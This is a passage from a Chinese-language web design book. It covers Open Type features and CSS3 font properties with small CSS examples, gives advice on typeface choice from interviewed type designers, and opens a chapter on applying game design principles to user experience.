缺少关于Web版式的教育材料，这可能是由于对许多人来说它涉及要过快地吸收大量的知识。Jon Tan把它看成是“一个良好的问题”，因为正是这个问题把它从睡梦中唤醒。“长时间以来，Web设计师一直在接受这些约束并与之和谐相处。我们有时使用人工合成的字体变体，尽可能最好地设置文字，以及继续做工作。问题的一部分是设计师与标准流程之间的联系是中断的，并且还缺少要求做出改变的任何真正的紧迫感。简单地讲，我们所拥有的只是‘不错’而已。虽然很粗糙，但是它会工作。不过，设计师对Open Type及其在Web上的潜力再度燃起了兴趣，人们需要先进的Web排版，并且提升了对网格、布局和版式的细微差别的兴趣——以及像Mozilla的John Dagget这样的人利用CSS所做的工作意味着对进度的要求将比以往更高。浏览器开发商做出了响应——Firefox 4支持Open Type特性
(34)

 ——这铺平了一条羊肠小道，因为它们的建议标准的专有实现有利于它们的包容性和最终的普及性。我对未来充满希望。”

6.2.2　Open Type特性和高级Web版式

利用CSS对Open Type特性提供的浏览器支持即将到来，这使得Web版式的未来甚至变得更加光明。在过去，“Open Type特性实际上并不是浏览器制造商和W3C需要考虑的事情，只要网站上具有系统字体即可，因为这些字体几乎不会利用高级的Open Type特性”，Ralf Herrmann在他的Open Type博客中指出了这一点，其中他说明了设计师可以怎样利用Open Type的特性。
(35)

 以前，只能在专业设计的字体中使用Open Type特性，并且只能通过排版应用程序（如Adobe In Design、Adobe Illustrator或Adobe Quark X Press）访问它们。但是随着Web字体的应用日益广泛，设计师可以使用几乎任何字体——因此确实需要访问Web上的高级版式，如Ralf所指出的：“对于拉丁语文本排版，这意味着一种更专业、更通用的文本布局，它具有真正的小型大写字母、连字、分数和不同的图集等。但是，它不仅仅只有这些……”

它还第一次允许与小语种和书写系统进行在线交流，这些在以前简直是不可用的。

在处理外语时，Web开发人员面临着一批新的问题和解决方案。进入Unicode，它是创建包含我们这个星球上所有合理的书写系统的单一字符集的工作成果。

在Web上，渲染任何非拉丁语言的关键是使用Unicode，并选择一个很好地涵盖了必要的Unicode范围中的字形的字体栈。只有有限数量的字体支持Unicode，尤其是Windows浏览器中的Arial Unicode；Alan Wood的Unicode字体参考
(36)

 将帮助你确定其他的字体。如果在某些设备（如手机）上不支持@font-face，回溯到系统字体可能出问题，因为Unicode符号在任何系统字体中可能不存在。“对这些特性的支持还处于它的早期阶段”，Tim Brown叹息道。
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Jon Tans整理了连字测试套件，以响应关于是否有可能在Web上显示连字的问题：

参见http://jontangerine.com/silo/typography/ligatures/

幸运的是，Mozilla的John Daggett（CSS3字体模块的作者）与字体设计专家齐心协力，在W3C定义高级的版式特性，并在Mozilla Firefox中实现它们，创造了其他浏览器要遵循的方式。文件大小是一个考虑事项，文字子集化起着重要作用，因为它允许设计师从特定的应用程序字符和符号中删除任何不想要的内容——比如对基于欧洲语言的所有拉丁语的支持、高级的Open Type特性，如小型大写字母、不同的数字样式、替代字符和特殊符号。

Jon Tan试验过为Unicode连字
(37)

 整理测试套件，但要承认显示连字、图形和分数使用CSS实现要容易得多，并且效果也要好得多。“Jon利用Unicode连字所做的试验很有趣”，Richard Rutter评论说，“但是突出显示了使用实体代替正确的Open Type特性所带来的问题——使用实体倾向于导致人们对Zapfino浅尝辄止，而这是意想不到的结果。”

6.2.3　字体模块和CSS3

版式全都是关于细节的；当给设计师提供一些选项来控制和设计出那些微小的细节时，每个人都会从更优雅、更清晰易读的在线阅读体验中获益。新的CSS3特性给Web设计师提供了一种急需的控制级别，迄今为止，还只能在印刷中实现它。

同一系列内的大多数字体都具有多种不同的样式：具有代表性的是加粗和斜体；另外还有不太常见的小型大写字母样式；在少数情况下，具有特淡/特粗或者拉长/压扁样式。

大号字体系列典型情况下带有许多种样式，通常利用该字体的属性值之一来命名，比如：Regular、Italic、Semibold、Condensed或Small Caps。自从最初推出CSS起，设计师就具有font-weight属性用于控制字体的“粗细度”。不过，由于浏览器不支持以及系统和免费字体带有的粗细度有限，我们最终通常只会看到两种粗细度：常规和加粗。由于Web字体、Open Type、专业设计的大号字体系列以及即将出现的浏览器原生支持，设计师现在将能够设置加粗或压扁文本的样式。

6.2.4　font-weight属性

这个CSS属性的实现方式跨字体系列差别很大，并且没有通有的命名约定来指定粗细度。在CSS2.1中，font-weight属性值是在100～900之间的数字标尺上给定的，其中值400等价于“正常”，700则等价于“加粗”，以此为准进行对应。不过不同的浏览器通常会任意解释这些值。

100 Ultra Light, Extra Light

200 Light, Thin

300 Book

400 Normal, Regular

500 Medium

600 Demi Bold, Semi Bold

700 Bold

800 Heavy, Black, Extra Bold

900 Ultra Black, Extra Black, Fat

如果字体系列使用具有9个值的数字标尺，就应该直接映射字体粗细度；如果系列中少于9个粗细度，浏览器将使用特殊的算法来“填充空隙”。
(38)
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具有多个粗细度选项的超系列Ronnia Web的示例

在CSS内，可以定义Ronnia Web的粗细度，如下所示：


h1 { 
 font-family: "RonniaWeb", Helvetica, Arial, sans-serif;
 font-weight: 100;
}


6.2.5　font-stretch属性

font-stretch属性最初是在CSS2中引入的，但是由于完全缺乏浏览器支持而从CSS2.1中删除了，现在它又回到了CSS3的字体模块中。许多专业设计的字型带有多种不同的宽度，并且潜在地可以利用font-stretch属性及其宽度值范围对其进行非常好的处理。
(39)



●　ultra-condensed

●　extra-condensed

●　condensed

●　semi-condensed

●　normal

●　semi-expanded

●　expanded

●　extra-expanded

●　ultra-expanded
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Proxima Nova和FFCube具有的多种字体宽度的示例

不过，由于从CSS2.1中抛弃了它，因此只有Mozilla Firefox 3.6支持它。可以在CSS中轻松、高效地将其定义如下：


h1 {
 font-family: "Proxima Nova", Helvetica, Arial, sans-serif;
 font-stretch: extra-condensed;
}


它将必须用作：


h1 {
 font-family: "Proxima Nova Extra Condensed", "Proxima Nova",
Helvetica, Arial, sans-serif;
}


这可能在需要字体名称声明或字体文件名称的浏览器中导致渲染差别。

在“发生在font-stretch属性上的任何事情（Whatever Happened to font-stretch）”这篇文章中
(40)

 ，Richard Rutter指出：“如果font-stretch属性仍然在CSS2中，浏览器制造商将设法支持它。但是直到CSS3明确成为候选推荐（Candidate Recommendation）之后，Microsoft才会实现其中的任何内容。Web Kit和Mozilla具有更高的CSS3优先级，并且直到某人实现了font-stretch属性之后，CSS工作组才会在CSS2中重新引入它。”

与此同时，Mozilla的John Daggett及其团队提议利用各种字体特性的子类别扩展font-variant属性。
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试验字体变化的数字属性值。注意图形之间的区别，其中在左边的列中应用了tabular-nums，而对右边的列则应用了proportional图形

●　font-variant-ligatures：
 common、additional、historical……

●　font-variant-alternates：
 normal、contextual、stylistic、styleset（01～20）、swash#、ornaments#、annotation#

●　font-variant-caps：
 normal、small-caps、petite-caps、titling-caps

●　font-variant-numeric：
 normal、lining、oldstyle、tabular、proportional、fractions、slashedzero

●　font-variant-position：
 normal、subscript、superscript、ruby

也有可能使用如下方法访问Open Type属性，以及访问以前提及的所有font-variant属性：


h1 {
 font-feature-settings: "liga=1, dlig=1, lnum=1, tnum=1";
}


下面显示了可能怎样启用或禁用常用的连字（不过，目前任何浏览器都不支持它）：


h1 {
 font-family: Baskerville, Georgia, serif;
 font-variant-ligatures: Common-ligatures;
}
p {
 font-family: Baskerville, Georgia, serif;
 font-variant-ligatures: no-common-ligatures;
}


可以指定访问Calluna中的更多连字，重申一遍，尽管还不支持这样做。Mozilla Firefox中的常用连字始终都是启用的，从而剥夺了设计师指定如何处理其文字的选项：


h1 {
font-family: Calluna, Georgia, serif;
font-variant-ligatures: common-ligaturesadditional-ligatures;
}


最后，所有的优质字体都具有字距调整表，可以利用以下代码控制它：


h1 {
 font-kerning: none;
}


6.2.6　font-size-adjust属性

在维持字体大小中的一致性以及弱化FOUT的效果方面，这个特性非常有用。在CSS3的字体模块中提供了font-size-adjust属性，目前只有Mozilla Firefox支持它：


h1 {
 font-family: "Bickham ScriptStd", "Snell Roundhand";
 font-size-adjust: 0.19;
 /*

 aspect ratio of x-height to text height *

/
}


利用font-size-adjust属性，可以相应地调整文本大小；行高度将保持不变；并且行长度计算将不受影响。
(41)
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如果结合使用font-family: Baskerville，Georgia，serif，注意font-size-adjust属性在Firefox中产生的区别

6.2.7　text-rendering属性

text-rendering属性仍然是一个大问题，因此要密切注意文字和浏览器专家如何确定实现CSS的text-rendering属性的最佳方式，这可以改进字偶距和连字的使用。
(42)

 这一点特别重要，因为关于text-rendering: optimize Legibility；声明已经发现了多个问题。
(43)

 例如，如果将该声明应用于移动设备上的大文本块或者与font-variant:small-caps属性一起使用，那么结果将是不会正确地渲染的小型大写字母，或者当对边距、填充和边框宽度使用x度量单位时将导致Safari崩溃。


h1 {
 text-rendering: optimizeLegibility;
}


最新的Web Kit浏览器和Mozilla Firefox支持text-rendering属性，其中它默认为大于20px的字体大小使用optimize Legibility值。

6.2.8　字符连接

Richard Rutter所说的“房间里的大象”是指缺少对字符连接的在线支持：“如果没有它，我们确实不能设置狭窄的度量标准，并且这会限制可以完成的明智的设计。不使用字符连接的其他唯一一种媒介是儿童图书。”参考CSS3的文本模块，揭示“字符连接特性的定义在此刻仍然是悬而未决的。”
(44)

 今天，我们可以在线实现字符连接的唯一方式是采用软连字符、JavaScript和零宽度的间距。
(45)



值得记住的是，在实现最新、最酷的CSS3属性时，不应该忘记用于在Web上设置文字的基本文本属性：总是要从为正文和标题建立良构的字体大小开始，并且为它们设置合适的行高度。
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Safari中的正常渲染不会显示连字，也不会显示应用的字距调整效果；在启用optimize Legibility的情况下（参见上图中的第二行），可以看到细微但至关重要的带有连字和字距调整的变换

“无论何时我有时间为字体建立基准网格，无论它是否完全精确，我都发现它总是通过给网站添加一层额外的优雅风格来报答我”，Trent Walton说道，他因其在个人网站和项目（如Design Swap和Lost World's Fairs）上试验CSS而著名，Lost World's Fairs是一个Internet Explorer9的宣传网站，其中CSS的重量级人物（如Jason Santa Maria、Frank Chimero和Naz Hamid）为利用CSS3和Web字体可实现的内容设置了新标准。
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Lost World's Fairs是一些最高级、最酷的CSS特性以及Web字体和@font-face的庆典：

http:lostworldsfairs.com/

6.2.9　关于Web版式的建议

如果你发现自己对于Web版式的令人沉醉的复杂世界感到不知所措，那么你并不孤单。我们从才华横溢的Web、平面和字体设计师那里收集到了一些精妙的建议，以便给你提供帮助。在涉及Web字体和字体嵌入时，不要隐藏那些看起来与众不同并且非常合适的第一印象。“是的，多样性非常好”，Trent Walton思索着说道。“不过，虽然有人可能争辩说，在Web上到处都可以看到Georgia、Helvetica和Verdana使人感到单调乏味，但是就可读性而言，这些字体是极其可靠的。如果你将要偏离本机字体栈，就要确保替代字体符合标准。”此外，还要记住Web字体的实现将会增加网站的文件大小。没有人愿意仅仅为了查看异样的字体加载而等待良久，尤其是在移动设备上。

大多数字体服务商给你提供了在购买Web字体之前试用服务，因此要抓住那个机会尽情地测试它们——以不同的大小、不同的背景颜色，并且在所有浏览器和平台进行测试。“自己读一读它们并使用你的判断”，Caroline Hadilaksono建议说。“询问厂商字体是否被提示用于Windows渲染”，Stephen Coles补充说。例如，Museo Sans最近被提示用于更好的屏幕渲染，因此，Typekit用户能够重新发布他们的工具包，并在Windows浏览器中享受他们所喜爱的字型。

如果字体没有正确地采用别名和提示，你可能放弃利用它作为显示文本，但是字体太小将难以辨认。评估字符形状如何“显示在像素上”在今天是非常重要的，但是许多在将来具有新的高分辨率屏幕的人将不再受这个问题困扰。“对于标准的计算机显示器可以处理的72ppi的分辨率来说，许多传统的印刷字型具有太多的细节”，Kyle Meyer警告说；“如果你为标题找到一种优秀的显示字体，这些将非常好，但是当你尝试阅读正文时，它们就不是那么好了。”不过，推出更好的显示器可能导致一些显著的改变，其中非常适合于印刷中的正文的字体在屏幕上使用时也仍然可以保持清晰易读。Yves Peters说道：“如果较高的屏幕分辨率被接受并且变成标准，那么对屏幕提示可能不会有更多的要求，并且字体设计师在为模拟媒体创建外观时将重新获得他们一直享受的自由。”选择一种具有较高的x字高且字形稍微宽松一些的字体有助于提高易读性。

前一段时间，使用Web字体的网站爆炸式增长，其后很快就出现了一些展示性网站，比如Web Font Awards
(46)

 和Web Fonts Gallery
(47)

 。一些Web字体交付服务展示了使用它们的Web字体的网站。除了它们的Gallery
(48)

 之外，Typekit还定期在它们的博客
(49)

 上大力推介“我们喜欢的网站”，并且Stephen Coles还在Font Feed上介绍了Font Fonts的最佳用法。
(50)

 有许多事情鼓舞着想把Web字体添加到其工具箱中的设计师。在为Web处理文字时，只需知道常见的错误即可，并且不要忘记测试你的网站。

Jos Buivenga发现假冒的小型大写字母和倾斜的常规字体“非常难看”，但是更不幸的是，“在任何媒介中都可以看到这些错误，而不仅仅是在Web上”。Caroline Hadilaksono还指出“到处都有良好的和糟糕的文字，它们可能是在线的，也可能是脱机的”，并且他提到了一些常见的版式问题，比如“使列太宽以至于无法跟踪并且文本如此之小，它将难以辨认”。
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Web Font Awards网站鼓励使用Web字体。在这里，设计师可以提交他们的作品，获得反馈，投票和获得鼓舞。前三个奖项已经在FOWD 2010上发出：参见http://www.webfontawards.com/

传统版式的基本原理也适用于Web版式，并且Caroline力劝设计师记住设计的基本规则：你正在实现所寻找的层次结构吗？你首先会阅读什么？其次呢？再次呢？你的受众是谁？它会传达（字面上的和情绪上的）你想表达的意思吗？

使文本行的长度太长或太短是忽视了Kyle Meyer所说的话：“对于媒介来说，50至70个字符是短小的正文的不错选择。”Micah Rich尝试遵循严格的基准网格：“它所产生的区别绝对令人吃惊”，尽管许多设计师发现它具有挑战性，因为在处理行距、边距、填充、字体大小和比例时它涉及繁杂的数学计算。如果这使你感兴趣，Wilson Miner于2007年发表的一篇文章“在Web上根据基准网格设置文字（Setting Typeon the Webtoa Baseline Grid）”仍然是一个良好的起点。
(51)

 Kyle Meyer提到的另一个常见问题是“在小写文字的段落上使用字母音距”。他使我们想起Frederic Goudy说过的一段著名的话：“任何调整过小写字母间距的人都将吃不了兜着走。”
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注意左边的示例比右边的示例的可读性要好得多，其中后者调整过字母间距。在Goudy Old Style中设置

不过，有人争论说Goudy专指的是黑体字，当对小写字符应用字母间距时，将显著降低可读性。在阅读时，我们通过其形状识别单词，它是由其高于x字母的小写字母和下伸字母组成的；当字母间距增加时，眼睛和大脑要花更长的时间识别单词的形状。

6.2.10　选择字体

研究如何组合字型是另一个难题。“它就像正确地穿衣服——一件方格花纹的绿夹克与一条黄色裤子的搭配效果将不好，但是使领带的颜色跟套装的颜色一样也会令人厌烦”，Micah Rich评论道。“知道哪里要匹配以及哪里要对比鲜明是一门雅致的艺术……你知道什么吗？离开你感到舒适的区域。如果你最中意的字体是Gotham，就试试Clarendon。挑战自己是一件好事。”Hoefler & Frere-Jones就如何混合来自字体服务商的字体提出过一个有用的观点
(52)

 ，而JasonSantaMaria在他的文章“关于Web版式（On Web Typography）”中列出了在Web上组合文字时要记住的事情。
(53)



在选择要使用的字型时，除了那些适用于印刷版式的规则之外，很难精确地指定其他严格、快速的规则；许多研究、测试和探索都是应当做的，但是在开始时，研究字型以及它们的形状会有非常大的帮助。例如，Yves Peters指出：“具有精巧字母形状的字型、小计数器、细小的serifs或者封闭的或几何学的字符形状不适合于文本大小。”然而，这并不意味着sans serifs比serifs更适合于屏幕。一个基本的示例是，Georgia仍然像核心Web字体中的最好的字型之一一样非常受欢迎。
(54)
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Proxima Nova的示范性的字体样本，这次是在Windows Vista上的IE8中渲染的

为了振兴排版的技艺，Tim Brown研究了选择文字时的情绪因素，并且重点注意关于文字选择的细小决策如何使他感觉到像是“在网站上研究这些决策的视觉效果一样”。他记下了所有的研究工作，并在他的个人网站（Nice Web Type
(55)

 ）和Typekit博客上记录了他的发现。他正在编写的系列文章“Web上的文字渲染（Type Rendering on the Web）”
(56)

 是每一个关注Web版式的人的极佳参考。在摆脱了Web保险箱的束缚之后，Kyle Meyer在他的Web文字百宝箱中就具有了几种最喜爱的字型。其中之一是Proxima Nova，来自FontFont：“人文主义与几何学特征的优秀组合，需要许多水平空间，但是在较小尺寸下也工作得很好。Hoefler &amp; Frere-Jones开发的Gotham的爱好者很快就会喜欢上它，因为他们可以分享字体中几种美学的品质。”

来自Kyle的另一个示例是FF Meta Serif Web Pro，它也来自FontFont：“Meta Serif是Georgia或Times的漂亮的替代字体，在几乎所有的情景中使用都显得超凡脱俗：它作为一种显示字体或正文字体，当文字大小降至11px以下时，阅读起来可能有点困难。”

Kyle还非常喜爱David Březina开发的Skolar Web和Underware开发的Bello Pro，但是没有机会在实际的项目中使用它们。

Trent Walton主要受“字体服务商已经为其开发了Web版本”的字体吸引。Trent在他自己的网站上通过Typekit使用过FF Meta Serif Web Pro和FF Meta Web Pro，并且确实对结果感到高兴。
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Proxima Nova在Mac OS X上的Safari中的示范性的字体样本

Stephen坚持不懈地探索核心Web字体的替代字体，并且恳求字体服务商专门为屏幕显示“构建一些字体”。“Web字体革命结束了，就让演化开始吧”，Stephen提出了这种要求。
(57)

 迄今为止，他在其关于Typedia的系列文章“常见Web字体的补救办法（Cure for the Common Web Font）”中讨论了Arial的替代字体
(58)

 ，并且计划在Typedia.com和Typographica.org上发表更多的评论。

为了帮助Web设计师在CSS中选择适当的字型组合以及正确的备用字体栈，字体爱好者团队开发了一个命名为Awesome Fontstacks
(59)

 的网站，他们在这里展示了“漂亮地匹配的、免费的Web字体包，以及用于给它们提供支持的万无一失的字体栈”。
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像Awesome Fontstacks这样的站点不仅有助于展示最佳的字体栈，而且有助于展示优秀的字体搭配组合参见http://awesome-fontstacks.com/

6.2.11　品牌化的Web版式

使用Web字体的优点之一是：为它们的标识使用某种字型的公司和组织现在可以轻松地在线扩展它们产品知名度。在仔细观察在线图库时，其中展示了使用Web字体的网站，只会注意到它们主要是设计师的代表作选辑，或者工作室网站。“像Web字体这样的技术的早期采纳者总是设计师，他们首先将在最省心的客户（即他们自己）身上试验这些技术”，Stephen Coles解释道，他在收集使用Web字体的网站，并在FontFeed
(60)

 和Delicious
(61)

 上推荐它们。
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Jax Vineyards网站为它们的标识使用FF DIN。整个网站都是利用Web字体构建的

不过，越来越多的公司和组织转而支持Web字体，并更新了它们的网站以忠于它们的标识：“我最喜爱的是Jax Vineyards
(62)

 ，把FF DIN用于它们的标识，来附和它们的葡萄酒标签的现代设计。它们的整个网站都是利用Web字体构建的。”
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about.me给其用户提供了自定义的初始页面和个人分析仪表板。用户可以利用他们自己的照片和颜色自定义他们的个人资料——并且他们可以从通过Typekit提供的许多字体中做出选择

Adobe公司利用其Adobe Clean（由Typekit交付）字体升级了它们的Acrobat和Typblography网站。Typekit大量参与研究并用博客记录Web版式问题，试验各种解决方案并为新的业务模型铺平道路，其中结合使用多种在线服务和Web字体交付服务来扩展它们的产品。

由于为Web优化和许可了更多的字体，我们应该会看到更多的公司转而为它们的网站使用Web字体。Stephen Coles建议“给公司ID选项板添加一个良好的Web字体，用于补充或模拟现有的标识字型之一。这要好于简单地利用五种典型的‘Web安全的’字体，并且看起来像其他任何人一样。”Web字体慢慢地获得了重要地位，并且在塑造Web版式的未来方面起着至关重要的作用。“在几年前，我们就体验到在线阅读的重要性发生了显著的改变”，Stephen Coles说道。他对于选择用于品牌标识的字体补充了另外几点建议：就像在线推广品牌的其他方面一样，当注重实效的设计师“没有指定不能在用于印刷的CMYK中模拟的RGB或PMS颜色时”，相同的考虑应该适用于为推广品牌挑选一种字型：计划所有不同的应用，包括在印刷中以及在屏幕上。“负责任的设计师总会为在线推广品牌提出建议替代的字型。因此，只要有必要，他们将会继续这样做。如果你非常聪明，可以尝试预测在不久的将来会发生什么事情，并且使用今天可用的工具相应地从事设计”，Stephen补充说。
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Photoshelter.com允许摄影师展示和销售他们的作品，他们现在将能够使用Typekit字体创建代表作选辑

6.2.12　来自版式先生自己的收场白：John Boardley

当Web字体随着像Typekit这样的托管服务的推出而变成现实时，一些人预测Web有几分像具有喜剧意味的梵语，那些梵文学家描绘了版式启示录的恐怖图景。但是世界末日的善恶大决战（Armageddon）还没到来，为什么？其一是因为设计师比以往更优秀；其二是因为MySpace的恐怖是由非设计师制造的，无论他们的工具集是什么，他们都将制作出拙劣的设计；其三是因为图形设计并不是关于挑选字型的。

但是除此之外，现在只需看看Web。把它与五年前的Web做比较。今天，它具有比以往更好的设计。这与设计师熟悉媒介有关的知识，并由此带来了从印刷到Web的良好设计实践。

未来拥有什么将是有趣的？我当然不会做出任何预测。我们将继续使用基于预订的服务吗？或者我们最终将简单地直接从字体服务商那里获得许可，并在我们自己的服务器上托管字体吗？

答案将与这种或那种格式有多安全无关。无论安全或困惑的级别是什么，那些想要侵犯字体专利权的人都会这样做。他们将从PDF中窃取字体，或者从torrent文件（即BT下载使用的种子文件）中下载它。经济状况将决定Web字体未来的发展道路。如果字体服务商发现它们没有通过第三方托管服务赚到足够多的钱，那么我相信它们将出售用于@font-face嵌入的许可证（我说过我不会做出任何预测）。

Oliver Reichenstein的文章“Web设计中95％都是版式设计（Web Design is 95％ Typography）”在今天看来与当初一样有效。但是五年过去了，仍然有许多人忽略了这一点。之所以会这样，我认为是因为他们混淆了版式设计与字体选择，因此把文章的标题误解为“Web设计中95％都是字体选择（Web Designis 95％ Fonts）”。

字型是版式页面的元素。字体选择是由版式页面的形状确定的——而不是由以字体来选择页面版式。Oliver提到的另一点是：更好的选择并不是优秀版式所必需的。看看古版本的版式就会明白这一点！

事实上，更好的选择并不是任何优秀结果所必需的。更多的选择并不意味着更多的决策，而是更好（更有见识）的决策。有数以万计的字型可供选择的事实其实并不重要，重要的是选择几种有利于产生最好或最佳的版式页面的字型。这种最佳效果更多地涉及读者（而不是设计师）的体验。这样，版式与字体选择之间的关系并不是那么大，它更多地取决于决策的质量。对于前一句话中所具有的甚至最细微的深奥思想，目前还不是人们所能想象到的。可以用“生活”这个词替换“版式”，你将看到更多的真实性；这反过来又使你必须深刻理解我们的职业。

如果你认为通过敷衍塞责地背诵一些关于小型大写字母和字母间距以及正确使用撇号的规则即可获得它，那么你就错了。指导方针（针对那些不希望做出选择的人）将自然地从你对版式页面及其用途的深刻理解中泉涌而出。

6.2.13　受访者列表

特别感谢为编写本章内容而热情地接受采访的每一个人，你们慷慨地付出了时间并提供了专业知识。感谢你们使Web版式的未来充满光明。


Richard Rutter
 ——Clearleft（http://www.clearleft.com）的董事和Fontdeck（http://www.fontdeck.com）的共同创始人。


John Boardley
 ——设计师、作家和ILoveTypography.com的创始人。


Jon Tan
 ——设计师、Web版式设计师。Analog.coop、Fontdeck（http://fontdeck.com/）和Mapalong（http://mapalong.com）的共同创始人。


Yves Peters
 ——图形设计师、版式作家。FontFeed（http://www.fontfeed.com、http://www.fontshop.be）的创始人。


Oliver Reichenstein
 ——iA Inc公司的CEO、iA Writer iPad应用程序的创作者。http://www.informationarchitects.jp。


Stephen Coles
 ——Typographica.org的编辑。


Jos Buivenga
 ——exljbris Font Foundry的文字设计师（http://www.exljbris.com）。


Tim Brown
 ——Typekit的文字管理者和Nice Web Type的制作者（http://nicewebtype.com）。


Trent Walton
 ——Paravel Inc公司（http://www.paravelinc.com）的创始人。


Kyle Meyer
 ——Indie Labs的设计师、AIGA MN的交互式设计的主任，同时还是Astheria.com、Typesites.com和Needswants.com的创建者。


Caroline Hadilaksono
 ——A Good Company（http://www.wearagoodcompany.com）的Goodness主任。The League of Movable Type（http://www.theleagueofmovabletype.com）的合建者。


Micah Rich
 ——A Good Company（http://www.wearagoodcompany.com）的首席Awesomeness技术员。The League of Movable Type（http://www.theleagueofmovabletype.com）的合建者。


Ralf Herrmann
 ——设计师，在Opentype.info上撰写关于版式、Web字体、标牌和寻路等主题的博客。

6.2.14　关于作者

“对客户和我自己诚实和保持正直。”

Vivien Anayian（生于1974年）出生在第比利斯，现在居住在温哥华。她拥有格鲁吉亚技术大学的计算机科学学位，但她自学了Web程序设计语言。她从事过十余年的编程和设计方面的教学工作，然后作为Web开发人员为许多家公司工作，两年前，Vivien成为了全职的自由撰稿人。在运营VG Universe Design并且专攻Web设计和编程之后，她逐渐更多地转向艺术和图形设计。她的5岁大的女儿是她的骄傲和快乐，并且作为一名自认的图书和杂志迷，Vivien把她的空闲时间花在多种充满创意的冒险上。Vivien的座右铭是一条金科玉律：你喜欢别人怎样对待你自己，你就应该怎样对待别人。她给读者的忠告是“及时行乐”。Vivien的网站是www.inspirationbit.com。
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第7章　把游戏设计原理应用于用户体验设计


作者：Christoph Kolb
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设计师的最终目的不是创建吸引人的艺术作品或者开发用于把元素组装起来的技巧，而是解决真实的问题以及传达信息。事实上，他们的目的是在公司与其受众之间进行沟通。因此，为了使客户获得有效的解决方案，设计师必须考虑企业战略，把群体以及设计中超越理论的其他方面作为目标。尤其是，设计师需要训练客户，使得他们理解设计底层的原理，以及使得他们可以采取所需的任何动作。虽然这项任务并不总是令人愉快的或者轻松的（像实际地进行设计一样具有创意），但是如果设计师想要帮助实现客户的目标以及保护用户的最佳利益，就必须完成该任务。

在这种环境中，交互设计师的作用尤其重要。他们要定义网站上的用户交互的机制。为此，他们要制定用户将必须遵循的规则，并且设定公司将必须接受的用户期望，如果公司希望实现其目标的话（无论是为了在社会媒体中获得一个立足点、完成成功的交互式活动，还是构建一个社区）。

这个职位带来了许多责任，因为如果规则很繁杂或者不够透明，将很快失去用户的信任，并且公司的信誉也会受损。或者，如果规则的隐含意义不清晰，那么公司在尝试大规模地实现规则时可能会遇到意想不到的挑战。

企业的最终目标很简单：以讨人喜欢的交互方式吸引尽可能多的人参与。这些交互可能包括购买产品、发布信息、做广告或者只是成为一个粉丝。这样的目标显然需要我们探索远远超越美学和传统用户交互的范式和眼界。

此时，游戏设计理论就可以派上用场了。但是为什么恰好可以把玩游戏、业务和交互设计结合在一起呢？好吧，诚实地讲，我正好喜爱玩游戏——包括任何类型的游戏，从最古老的掷骰子到最新的虚拟现实游戏。就像你所喜爱的任何事情一样，你开始透过镜头看世界。当我开始透过玩游戏的镜头看业务时，我认识到怎样才能使一些复杂的业务交互容易理解且直观。我们可以把游戏设计应用于交互的某些区域，创建能够吸引住人们并把他们绑定到公司的用户体验。

在本章中，我们将学习如何把游戏设计中的一些技术和理论应用于网站设计、用户体验和业务。


 7.1　一切都开始于科学

作为设计师，我们并不是经常有机会把科学转变成解决困难问题的起点。有时我们没有充裕的时间，有时我们简直不知道从哪里寻找数据。在大多数情况下，我们都依赖于从以前的经验中熟悉的注重实效的方法。使之有效且美观：这就是我们要做的事情。往往它都会带来非常好的结果。

不过，在一些情况下，我们具有更深入地钻研的时间和需求，以使我们的思想和决策具有比直觉更稳固的基础。在这种时候，我们希望从可用性研究、案例研究、市场营销以及其他与Web设计相关的领域中提取证据。同专注于设计的文献所建议的相比，与设计相关的科学要多得多。事实上，在结合最初看上去似乎不相干的学科时，搜集到了一些最鼓舞人心的发现。

我在设计心理学方面的知识来源于通常被认为是不相关的科学之间的联系，包括业务研究、一般心理学和社会学。自然，我期望Web设计师可以通过从多种学科（包括游戏设计）中吸收知识来丰富他们的作品。例如，如果你希望用户评论文章或者购买更多的产品，为什么不使交互让人着迷、令人愉快和有趣呢？为什么不通过使设计令人难忘且生动逼真从而设法使他们对你的网站产生强烈的情感依恋呢？为什么不集成可以把客户吸引回你的网站的游戏机制从而让他们留恋忘返并且深受激励呢？

在下面几节中，我们将温习社会心理学、游戏设计理论和经济学中的一些思想，它们对于理解游戏与在线交流之间的联系是不可或缺的。这将为我们在本章第二部分中的结论打下基础，并将帮助你理解游戏设计的机制及其在Web设计中的实际应用。

7.1.1　“潜水”现象

“潜水”现象是指用户在在线交流中的一种特定的行为类型。相对较少的用户会进行在线交互；绝大多数用户仍然是消极的观望者或者“潜水”者。相关数字依赖于消息来源会有所变化，但是积极参与者通常在1％～10％之间，潜水者则在90％～99％之间。潜水者的比例在过去十年中减少了许多，但是大多数用户仍然满足于保持沉默。

三个主要因素决定了在线交互效果：能力、难度和动机。你可以影响其中的每个因素以提高参与者的比例。

能力是指用户掌握交互所需的技能和步骤。这包括：熟悉电脑本身、能够使用软件的以及了解相关的操作，比如提供电子邮件地址或者留下评论。能力还包括知道为什么某些交互将是有用的、必要的或者有趣的。作为设计师，要了解你的受众的能力。例如，在网站上整合的YouTube频道和Facebook群不需要对用户进行大量培训，因为几乎每一个人都听说过它们，并且知道如何使用它们。对于来自陌生平台的群和频道，用户对它们的熟悉度就要大打折扣，因此你需要解释服务以及他们可以怎样从中受益。

难度是指交互所需做的工作的数量和强度。这显然与能力联系紧密，并且因用户而异。像填写表单或者记住较长域名这样的过程增加了难度，而良好的可用性实践则会降低难度。
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潜水现象

动机也许是交互中最重要的因素。它也与能力和难度联系紧密；它必须涉及参与的程度以及用户期望从交互中获得多大的好处。从这个角度讲，潜水现象显然永远不会完全消失。总会有人没有在网站上积极参与的动机，其原因包括：时间或语言限制、缺少兴趣、他们的精神状态或者其他什么事情。

为什么企业希望提高用户参与度呢？一个很简单的原因是：参与度可以提升品牌的知名度、印象和声誉，并且提高用户的兴奋度和忠诚度。如果某位客户随着时间的推移与一种品牌交互，无论是直接的还是间接的，对于那个用户来说公司的价值都将提升。客户将被诱惑成为忠诚的“粉丝”。此外，如果用户足够兴奋以至于会更频繁地访问网站，那么点击率和网站转化率也将增加。如你所看到的，企业具有更多的理由严肃地对待它。

7.1.2　利他主义

利他主义是指某个人采取对其他人有利的举动，并且他不是别有用心地这样做的。人们激烈地争论其原因，并且进行了无休止的解释，但是这在很大程度上仍然符合事实：我们人类的确能够做到非常无私。“封闭式的利他主义”是一个来自社会学的相关概念，指人们对于他们所了解的某个人的利他主义，以便分享他们的快乐。在这种情况下，交互是通过换位思考发生的，我们甚至具有用于它的特殊神经元（镜像神经元）。它使我们能够分享情绪并且参与其他人的动作，就像我们自己在体验他们一样。如果别人感到快乐，那么我们也会有这种感觉。这个人在你的社交图上距离你的位置越近，你就越有可能对他产生利他主义。
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封闭式的利他主义的区域

7.1.3　预期互惠

